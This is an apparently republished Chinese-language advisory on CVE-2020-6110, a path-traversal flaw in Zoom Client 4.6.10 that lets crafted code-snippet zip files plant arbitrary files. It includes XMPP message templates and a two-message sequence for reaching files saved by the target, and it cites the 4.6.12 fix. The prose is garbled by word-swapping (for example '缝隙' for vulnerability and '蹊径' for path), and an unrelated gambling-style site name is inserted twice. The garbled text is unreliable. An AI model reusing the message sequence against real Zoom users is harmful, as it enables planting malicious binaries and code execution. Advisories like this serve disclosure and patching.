CVE-2020-6110 | ZOOM客户端远程代码执行缝隙公告

颁布功夫 2020-06-05

0x00 缝隙概述



CVE   ID

CVE-2020-6110

时    间

2020-06-04

类    型

RCE

等    级

高危

远程利用

是

影响领域

Zoom Client 4.6.10、4.6.11


0x01 缝隙详情


宝运莱·(中国区)最新官方网站



Zoom Client是美国Zoom公司的一款支持多衷旖台的视频会议客户端利用法式。


CVE-2020-6110是Zoom Client版本4.6.10处置蕴含共享代码段在内的新闻的方式中存在一个可利用的蹊径遍历缝隙。特造的谈天新闻可能会导致植入肆意二进造文件,可能会滥用该二进造文件来实现肆意代码执行。攻击者必要向指标用户或组发送特造新闻,必要指标用户的交互能力触发此缝隙。


性质上,此部门代码是通过天生一个特殊的zip归档文件来共享的,该归档文件蕴含几个支持文件(用于纯文本的无标题代码):


Untitled.html

Untitled.properties

Untitled.rtf

Untitled.tx*


最后一个蕴含源自身,富文本文件提供语法高亮显示,而属性文件描述法式包。


当一个用户与另一个用户共享一个代码片段时,便会创建该zip文件,并通过/zoomfile/upload向的要求将其上传到Zoom的存储服务器file.zoom.us。同时Zoom客户端获取文件对象ID,而后将XMPP新闻发送给收件人。XMPP新闻看起来像:


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a code snippet</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id" s="166" nm="Untitled1.zip" f="14" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>1024</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>


对象ID属性唯一地标识蕴含已删除描述的文件。当XMPP客户端收到上述新闻时,它将持续从Zoom的数据存储中提取指定的文件,并将其以唯一的文件名保留到磁盘。在Windows客户端上,这些文件存储在中%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\<random uid dir>。通过Zoom定期共享文件的情况也是如此。但是,在共享代码段的情况下,Zoom将持续自动解压缩下载的zip文件,以预览和显示该代码段。此缝隙的主题是Zoom的zip文件提取职能在提取zip文件之前不会对其进行验证。


这使潜在的攻击者无需用户过问即可通过自动提取的zip文件将肆意二进造文件植入指标推算机上。此表蹊径遍历问题使特造的zip文件能够在预期的随机天生目录之表写入文件。例如,现实大将zip压缩文件中的文件蹊径为“ .. \ test \ another \ test.exe”的文件提取到文件中,%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\test\another\text.exe而不是蕴含在拥有随机UID的目录中。自身就可能在利用另一个缝隙时被滥用。


此表,有关Zoom处置共享文件的方式的一个怪癖使此缝隙可通过指标用户进前进一步处置。与Zoom客户端共享通例文件后,他们必要在接见文件之前单击文件并选择保留地位。由于Zoom客户端会跟踪下载的文件,因而将此事实与上述问题结合在一路可能导致肆意文件写入肆意蹊径。在这种情况下,攻击者首先会与指标用户共享一个恶意的zip文件,并带有文件名,例如“ interesting_image.jpeg”。指标可能会单击该文件并将其保留在某个地位(例如,在其桌面上)。用户将无法直接以zip或jpeg体式打开文件。另一方面,Zoom客户端会跟踪此文件并保留在指定蹊径中。而后,攻击者将代码片段共享新闻发送给指标,但在指标服务器中指定一样的文件ID和具体信息。obj标签。Zoom Client利用法式将看到该文件已经下载,并且将不思考.jpeg扩大名将其解压缩。通过滥用目录遍历缝隙,恶意的zip文件能够将文件提取到c\Users\<username>\任何子目录中。


在这种情况下,攻击者将一个文件上传到file.zoom.us名为的服务器interesting_image.jpeg。而后,攻击者发送如下新闻:


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a file</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="5" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>8</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>


客户端保留文件,而后攻击者发送另一条内容险些一样的新闻:


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a file</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="14" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>1024</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>  


以上新闻中的更改位于tag的f属性中obj。它指定14批示代码段职能。同样将msg_feature调整为1024与共享代码段一样。obj象征内的文件ID和名称维持不变,导致Zoom客户端不会将文件沉新下载到“ CodeSnippets”目录中,而是使用先前保留的蹊径。


必要把稳的是,即便指标用户在意识到虚伪的情况下删除了已保留的文件,Zoom客户端也会沉新下载该文件,但在收到最终新闻时仍会遵循原始的保留蹊径。同样恶意zip文件能够蕴含带有目录遍历蹊径的恶意文件的多个副本,这些目录能够用于包容指标用户可能保留文件的肆意地位。


总之,能够在上述两种情况下滥用此缝隙。首先,若是没有效户交互,就能够滥用它,即便在可能利用其他缝隙的受限蹊径上,在指标系统上植入肆意二进造文件。其次,通过用户交互,将二进造文件植入险些肆意蹊径,并有可能覆盖沉要文件并导致肆意代码执行。


0x02 措置建议


目前厂商已颁布4.6.12版本以建复缝隙,下载地址:

https://zoom.us/


0x03 有关新闻


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 参考链接


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1056


0x05 功夫线


2020-04-16 钻研人员披露

2020-06-04 VSRC颁布缝隙公告


宝运莱·(中国区)最新官方网站